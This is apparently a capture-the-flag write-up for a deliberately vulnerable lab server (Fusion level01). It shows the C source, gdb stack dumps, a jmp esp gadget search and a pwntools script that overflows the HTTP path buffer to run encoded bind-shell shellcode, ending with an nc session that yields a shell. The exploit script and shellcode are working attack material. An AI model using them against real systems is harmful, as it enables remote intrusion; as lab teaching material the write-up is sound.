Welcome back folks to new write-up I was a bit confused between doing heap exploitation or get some intermediate techniques on buffer overflow so in the end I ended up doing buffer overflow exercise but with introducing new technique.
I hope this gonna be informative write-up, now let’s dive into it here’s the C source Code.
#include “../common/common.c” int fix_path(char *path) { char resolved[128]; if(realpath(path, resolved) == NULL) return 1; // can’t access path. will error trying to open strcpy(path, resolved); } char *parse_http_request() { char buffer[1024]; char *path; char *q; // printf(“[debug] buffer is at 0x%08x :-)\n”, buffer); 😀 if(read(0, buffer, sizeof(buffer)) <= 0) errx(0, “Failed to read from remote host”); if(memcmp(buffer, “GET “, 4) != 0) errx(0, “Not a GET request”); path = &buffer[4]; q = strchr(path, ‘ ‘); if(! q) errx(0, “No protocol version specified”); *q++ = 0; if(strncmp(q, “HTTP/1.1”, 8) != 0) errx(0, “Invalid protocol”); fix_path(path); printf(“trying to access %s\n”, path); return path; } int main(int argc, char **argv, char **envp) { int fd; char *p; background_process(NAME, UID, GID); fd = serve_forever(PORT); set_io(fd); parse_http_request(); } |
As you can see the same exercise as the previous one but this time we are not provided with the address of the buffer and ASLR is enabled so we need to get a way to bypass ASLR and execute our shellcode.
When I first face an exercise with ASLR enabled I try three different methods:
- POP RET
- PUSH RET
- CALL / JMP [REG]
In this write-up we will discuss the third method which is the key to solve our problem. As written this exercise is the same as the previous one so we don’t have to check the offset for the return address but this time we want a way to get use of the third method to bypass ASLR. Let’s take a look at this gdb output
gdb-peda$ x/60wx $esp -60 0xbfe31234: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfe31244: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfe31254: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfe31264: 0x41414141 0x41414141 0x42424242 0x90909090 0xbfe31274: 0x05eb02eb 0xfffff9e8 0xef815fff 0xffffffdf 0xbfe31284: 0xc9295e57 0x8ab8c180 0xc0412c07 0x024704e0 0xbfe31294: 0x88412c07 0x49474606 0x4244ede2 0x4146414d 0xbfe312a4: 0x4a494145 0x4146444d 0x41464145 0x424f4a49 0xbfe312b4: 0x4747414c 0x41494e4d 0x434e4244 0x47474346 0xbfe312c4: 0x44424947 0x4445434e 0x44464747 0x424f4a49 0xbfe312d4: 0x41424b47 0x41464246 0x424f4a49 0x4747414c 0xbfe312e4: 0x41494e4d 0x4a494145 0x45434545 0x44454541 0xbfe312f4: 0x414c4445 0x4e4d4747 0x44494149 0x4d41454d 0xbfe31304: 0x43464346 0x414c4445 0x4e4d4747 0x444a4149 0xbfe31314: 0x424e4a49 0x5044414c 0x41494e4d 0x41494245 gdb-peda$ i r ebp ebp 0x41414141 0x41414141 gdb-peda$ i r eip eip 0x42424242 0x42424242 |
You can see that ebp and eip are overwritten now if you take a moment and think how CPU executes instructions you will get the idea how we will use JUMP [REG] method, we know that the stack grows toward lower addresses and shrinks toward higher addresses, so far so good now what will happen when the CPU hits ret instruction it’ll actually POP the value on the top of the stack and store it in EIP register and increment the stack (depends on the arch if it’s 32-bit it’ll add 4 bytes or if it’s 64-bit it’ll add 8 bytes) so the ESP register will point on the top of our stack and that’s very good for us because it actually points to our shellcode see 0xbfe3126f see this address which points to our NOP sleds thin our shellcode I hope you get the idea by now.
We have to overwrite the return address with jmp esp instruction.
- [Register] → [Shellcode]
- EIP → JMP/CALL [register]
- EIP now points to [register] where shellcode.
So to get instruction of jmp esp execute this command
fusion@fusion:/opt/fusion/bin$ /opt/metasploit-framework/msfelfscan -j esp /opt/fusion/bin/level01 [/opt/fusion/bin/level01] 0x08049f4f jmp esp |
Now the fun part which crafting the python script.
#0x08049f4f jump esp from pwn import *payload = b” payload += b’A’*139 payload += b”B”*4 payload += b”\x90″*4 payload += b”\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5f\x81\xef\xdf\xff\xff\xff\x57\x5e\x29\xc9\x80\xc1\xb8\x8a\x07\x2c\x41\xc0\xe0\x04\x47\x02\x07\x2c\x41\x88\x06\x46\x47\x49\xe2\xedDBMAFAEAIJMDFAEAFAIJOBLAGGMNIADBNCFCGGGIBDNCEDGGFDIJOBGKBAFBFAIJOBLAGGMNIAEAIJEECEAEEDEDLAGGMNIAIDMEAMFCFCEDLAGGMNIAJDIJNBLADPMNIAEBIAPJADHFPGFCGIGOCPHDGIGICPCPGCGJIJODFCFDIJOBLAALMNIA” # online shellcode which will listen on the localhost on port 5074 r = remote(“10.0.2.25”, 20001) r.sendline(b”GET “+ payload +b” HTTP/1.1″) print(r.recv()) |
To make this attack work just replace the value of BBBB with jump esp instruction.
And here’s the Proof of Concept.
gdb-peda$ quit fusion@fusion:/opt/fusion/bin$ nc localhost 5074 id uid=20001 gid=20001 groups=20001 |
For more information about jmp [reg] technique check these out: